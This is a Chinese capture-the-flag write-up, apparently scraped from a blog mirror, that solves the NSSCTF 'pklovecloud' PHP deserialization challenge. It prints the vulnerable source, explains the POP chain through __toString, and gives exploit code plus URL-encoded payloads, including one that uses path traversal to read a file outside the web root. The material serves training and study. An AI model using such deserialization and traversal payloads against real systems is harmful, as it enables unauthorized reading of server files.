当前位置: 首页 > news >正文

NSSCTF - Web | 【第五空间 2021】pklovecloud

🌟 关注这个靶场的其它相关笔记:CTF 练习平台 —— NSSCTF · 过关思路合集

0x01:考点速览

本题考察的是 PHP 反序列化漏洞,与一般考题不同,此次的入口为 __toString() 函数,且大部分对象都没有 __construct() 类,所以需要我们手动在对象内部为其赋值。

0x02:Write UP

访问靶场,是一个代码审计,完整的 PHP 代码如下,没有涉及啥偏僻的函数:

<?php  
include 'flag.php';
class pkshow 
{  function echo_name()     {          return "Pk very safe^.^";      }  
} 
​
class acp 
{   protected $cinder;  public $neutron;public $nova;function __construct() {      $this->cinder = new pkshow;}  function __toString()      {          if (isset($this->cinder))  return $this->cinder->echo_name();      }  
}  
​
class ace
{    public $filename;     public $openstack;public $docker; function echo_name()      {   $this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file))         {              return file_get_contents($file); }  else { return "keystone lost~"; }    }}  
}  
​
if (isset($_GET['pks']))  
{$logData = unserialize($_GET['pks']);echo $logData; 
} 
else 
{ highlight_file(__file__); 
}
?>

下面开始烧脑分析,笔者我比较喜欢进行反向逆推,即首先确定我们最终的目标,然后从终点摸到起点(建议对着原始代码一行一行理解):

  1. 确定目标:ace::echo_name() => file_get_contents($file)$file = './flag.php'

  2. 要想满足条件一,我们需要让 ace::$filename = "flag.php"

  3. 继续回溯,要想执行 file_get_contents($file) 我们需要满足一个 if 条件:

    • if($this->openstack->neutron === $this->openstack->nova)

    • 突破口:$this->openstack->neutron = $heat;

      • $heat 变量未在当前文件出现过,因此我们可以推测其在 flag.php 文件中。

      • 值得注意的是,赋值发生在 echo_name() 函数中,在 PHP 中函数内部是无法直接访问函数外部定义的变量的,除非使用 global 关键字或参数传递,因此,上面这条语句会报一个错,即 $heat; 未定义。

      • 当 PHP 遇到一个未定义的变量时,它会发出一个 Notice 级别的错误,并将该变量视为 NULL

      • 因此上面的语句可以等价于 $this->openstack->neutron = NULL;

  4. 值确定了,那么下一个问题,哪个类中有 neutronnova 参数?

    • 答:acp() 类。 => 所以 $this->openstack = new acp();acp() 对象中的 $neutron$nova 均为 NULL,即不赋值即可。

  5. 我们又知道 $this->openstack = unserialize($this->docker); 所以我们可以确定 $docker 的值为:serialize(new acp());

  6. 至此,ace::echo_name() 函数分析完毕。

  7. 问题:如何调用 ace::echo_name() 函数?

    • 答:acp::__toString() 方法中的 return $this->cinder->echo_name()。我们需要确保 $this->cinder = new ace();

  8. 继续:如何调用 acp::__toString() 方法?即,什么时候 acp 对象会被当做字符串执行。

    • 答:echo $logData;$logData = unserialize(serialize(new acp()));

至此,整个 POP 链就构造完成了,下面就是开始编写利用代码,下面是完整的利用代码(看注释):

<?php  
include 'flag.php';
class pkshow 
{  function echo_name()     {          return "Pk very safe^.^";      }  
} 
​
class acp 
{   protected $cinder;  public $neutron;public $nova;function __construct() {      // $this->cinder = new pkshow;$this->cinder = new ace;    // Step 2: 确保 $hits->cinder->echo_name() 调用 ace 对象中的函数}  function __toString()           // 当对象被当作字符串调用时触发,echo $acp;{          if (isset($this->cinder))  return $this->cinder->echo_name();      }  
}  
​
class ace
{    public $filename = "flag.php";     public $openstack;public $docker = 'O:3:"acp":3:{s:9:"\000*\000cinder";O:6:"pkshow":0:{}s:7:"neutron";N;s:4:"nova";N;}'; // Step 3.4: 这个值通过 echo serialize(new acp()); 获得function echo_name()      {   $this->openstack = unserialize($this->docker); // Step 3.3: 由于 neutron 与 nova 都是 acp 中参数,所以确定 $this->docker = serialize(new acp()),且 acp 中的这两个参数都不用赋值,保持 NULL 即可$this->openstack->neutron = $heat;                       // Step 3.1: $heat 不存在为 NULLif($this->openstack->neutron === $this->openstack->nova) // Step 3.2: $this->openstack->nova = NULL{$file = "./{$this->filename}";        // Step 4.1: 由于我们最终想要读取 ./flag.php 所以 $this->filename = flag.phpif (file_get_contents($file))         {              return file_get_contents($file); }  else { return "keystone lost~"; }    }}  
}  
​
// Step 1: 序列化 acp() 类,由于最终 Payload 通过 GET 方式传递,所以我们需要经过 URL 编码
$payload = serialize(new acp());  // 这个就是我们最终传递给 pks 的值
echo urlencode($payload);         // 打印 Payload
​
// if (isset($payload))  
// {
//     $logData = unserialize($payload);
//     echo $logData; 
// } 
?>

运行代码,拿到 Payload 直接传递给 pks 即可:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A82%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%5C000%2A%5C000cinder%22%3BO%3A6%3A%22pkshow%22%3A0%3A%7B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

如上,得到提示,flag 位于根目录,这里我们只需要利用目录穿越漏洞,修改一下 ace::$filename 后重新生成 Payload 即可:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A28%3A%22..%2F..%2F..%2F..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A82%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%5C000%2A%5C000cinder%22%3BO%3A6%3A%22pkshow%22%3A0%3A%7B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

如下,成功 GET Flag:

http://www.dtcms.com/a/507128.html

相关文章:

  • 了解“网络协议”
  • ECharts 实时数据平滑更新实践(含 WebSocket 模拟)
  • ImmutableList.of() 是 Google Guava 库 提供的一个静态工厂方法,用于创建一个不可变的(immutable)列表。
  • 【计算机网络】408考研计算机网络精讲:物理层核心——信道的极限容量(奈氏准则与香农定理)​​
  • 嵌入式模组拨号获取IP地址时,设置的ippass是什么原理,起到什么作用?
  • 网站开发 实训 报告郑州高端建站公司
  • 2025年--Lc203- 1218. 最长定差子序列(动态规划)--Java版
  • TDengine
  • 【MicroPython编程-ESP32篇】-L298N控制直流电机
  • C# 设计模式——单例模式
  • 单例模式与线程池的实际应用
  • Ubuntu24 逻辑卷磁盘扩容全流程
  • 网站加载速度慢的原因佛山网站建设公司价格
  • 容器化与调度:使用 Docker 与 K8s 管理分布式淘宝商品数据采集任务
  • 微服务熔断降级方案对比:Hystrix、Resilience4j与Sentinel实践
  • 解决在windows中基于Spring AI 集成文件管理MCP服务遇到的问题
  • 【研究生随笔】PyTorch中的概率论
  • 青少年活动中心网站建设依据青岛标志设计公司
  • 网站三要素关键词 描述怎么做网站建设报价单 excel
  • Kubernetes Pod 管理全攻略:从基础操作到进阶优化
  • 基于 OpenHarmony 6.0 的智能充电桩技术方案与实现
  • 三步破局:一致性轨迹强化学习开启扩散语言模型“又快又好”推理新时代
  • Node.js | pnpm下载安装与环境配置
  • 递归-二叉树中的深搜-2331.计算布尔二叉树的值-力扣(LeetCode)
  • 下部刚刚是上部
  • 自动化产线效率低,主要看这四个环节
  • 如何查询网站开发语言杭州企业网站制作
  • sql server网站建设电子商务网络营销的概念
  • 网页制作基础教程代码网站seo软件
  • kafka中server.properties中的关键配置